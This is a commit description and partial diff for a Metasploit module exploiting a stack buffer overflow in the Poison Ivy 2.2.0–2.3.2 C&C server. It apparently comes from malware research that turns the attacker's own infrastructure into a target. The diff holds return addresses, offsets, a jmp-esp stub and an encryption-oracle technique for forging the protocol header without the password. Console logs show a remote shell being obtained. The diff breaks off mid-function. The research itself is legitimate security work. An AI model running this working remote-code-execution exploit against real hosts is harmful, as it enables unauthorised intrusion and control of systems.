This is a modification to the original poisonivy_bof.rb exploit

module removing the need for bruteforce in the case of an unknown
server password by (ab)using the challenge-response as an encryption
oracle, making it more reliable. The vulnerability has also been confirmed
in versions 2.2.0 up to 2.3.1 and additional targets for these versions
have been added as well.

See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/
for details.

## Console output

Below is an example of the new functionality (PIVY C2 server password is
set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1
is similar.

### Version 2.3.2 (unknown password)

```
msf > use windows/misc/poisonivy_bof
msf exploit(poisonivy_bof) > set RHOST 192.168.0.103
RHOST => 192.168.0.103
msf exploit(poisonivy_bof) > check

[*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_bof) > exploit

[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2>
```

### Version 2.2.0 (unknown password)

```
msf exploit(poisonivy_bof) > check

[*] Vulnerable Poison Ivy C&C version 2.2.0 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.

msf exploit(poisonivy_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1
   1   Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1
   2   Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1

msf exploit(poisonivy_bof) > set TARGET 0
TARGET => 0

msf exploit(poisonivy_bof) > exploit

[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0>
```
bug/bundler_fix
samvartaka 2015-09-07 17:48:28 +02:00
parent d7887b59aa
commit 0a0e7ab4ba
1 changed files with 95 additions and 86 deletions

View File

@ -9,39 +9,29 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => "Poison Ivy Server Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
The exploit does not need to know the password chosen for the bot/server
communication. If the C&C is configured with the default 'admin' password,
the exploit should work fine. In case of the C&C configured with another
password the exploit can fail. The 'check' command can be used to determine
if the C&C target is using the default 'admin' password.
Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
responsible of handling the connection. Because of this the module provides the
RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header
will be used. If the bruteforce target is selected, a random header will be sent in
case the default for the password 'admin' doesn't work. Bruteforce will stop after
5 tries or a session obtained.
This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrzej Dereszowski', # Vulnerability Discovery
'Gal Badishi', # Exploit and Metasploit module
'juan vazquez' # Testing and little of Metasploit-fu
'juan vazquez', # Testing and little of Metasploit-fu
'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&C challenge-response as encryption oracle
],
'References' =>
[
[ 'OSVDB', '83774' ],
[ 'EDB', '19613' ],
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ],
[ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ],
],
'DisclosureDate' => "Jun 24 2012",
'DefaultOptions' =>
@ -58,107 +48,126 @@ class Metasploit3 < Msf::Exploit::Remote
'Targets' =>
[
[
'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
'Ret' => 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x8069,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
}
],
[
'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x8069,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
}
],
[
'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x806D,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
}
],
[
'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x806D,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
'Bruteforce' =>
{
'Start' => { 'Try' => 1 },
'Stop' => { 'Try' => 6 },
'Step' => 1,
'Delay' => 2
}
}
]
],
'DefaultTarget' => 0
'DefaultTarget' => 2
))
register_options(
[
Opt::RPORT(3460),
OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
], self.class)
register_advanced_options(
[
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
], self.class)
[
Opt::RPORT(3460),
], self.class)
end
def check
sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
lensig = [0x000015D0].pack("V")
# camellia block size
blockSize = 16
# number of blocks in challenge
blockCount = 16
challenge = ("\x00" * blockSize * blockCount)
indicator = Hash.new
# 0x0000113e as first 4 bytes on PI 2.1.0
indicator[[0x0000113e].pack("V")] = '2.1.0'
# 0x00001212 as first 4 bytes on PI 2.1.1
indicator[[0x00001212].pack("V")] = '2.1.1'
# 0x000013f6 as first 4 bytes on PI 2.1.2
indicator[[0x000013f6].pack("V")] = '2.1.2'
# 0x000013e0 as 4 bytes after challenge on PI 2.2.0
indicator[[0x000013e0].pack("V")] = '2.2.0'
# 0x00001470 as 4 bytes after challenge on PI 2.3.0
indicator[[0x00001470].pack("V")] = '2.3.0'
# 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2
indicator[[0x000015D0].pack("V")] = '2.3.1/2.3.2'
connect
sock.put("\x00" * 256)
sock.put(challenge)
response = sock.read(256)
datalen = sock.read(4)
disconnect
if datalen == lensig
if response[0, 16] == sig
vprint_status("Password appears to be \"admin\"")
if response.length == 256
response2 = sock.read(4)
disconnect
# Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks
# map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks.
firstBlock = response[0, 16]
for index in 1..15
if response[index * 16, 16] != firstBlock
print_status("Response doesn't match Poison Ivy Challenge-Response format.")
return Exploit::CheckCode::Safe
end
end
if indicator.key?(response2)
indic = indicator[response2]
print_status("Vulnerable Poison Ivy C&C version #{indic} detected.")
return Exploit::CheckCode::Appears
else
vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
return Exploit::CheckCode::Detected
end
elsif response.length == 4
disconnect
if indicator.key?(response)
indic = indicator[response]
print_status("Poison Ivy C&C version #{indic} detected.")
return Exploit::CheckCode::Safe
end
end
vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.")
return Exploit::CheckCode::Safe
end
def single_exploit
if datastore['RANDHEADER'] == true
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
header = rand_text(0x20)
else
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
# We have a very good chance of succeeding even if the password was changed
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
end
do_exploit(header)
end
def brute_exploit(brute_target)
if brute_target['Try'] == 1
print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
# We have a very good chance of succeeding even if the password was changed
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
else
print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
header = rand_text(0x20)
end
do_exploit(header)
end
def do_exploit(header)
def exploit
# Handshake
connect
print_status("Performing handshake...")
sock.put("\x00" * 256)
sock.get_once(-1, 10)
# plaintext header
plaintextHeader = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle
challenge = plaintextHeader + ("\x00" * (256 - 32))
sock.put(challenge)
# response = encrypt(challenge, key)
response = sock.get_once
# since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key
encryptedHeader = response[0, 32]
# Don't change the nulls, or it might not work
xploit = ''
xploit << header
xploit << encryptedHeader
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
xploit << payload.encoded
xploit << "\x00" * (target['Offset'] - xploit.length)